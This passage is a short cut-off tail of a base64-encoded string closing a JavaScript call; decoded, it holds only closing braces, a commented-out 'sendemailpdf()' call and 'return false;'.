NCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgIH0pOw0KICAgICAgICAgIH0pKCk7DQogICAgICAgICAgICAvLyBzZW5kZW1haWxwZGYoKTsNCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICB9'));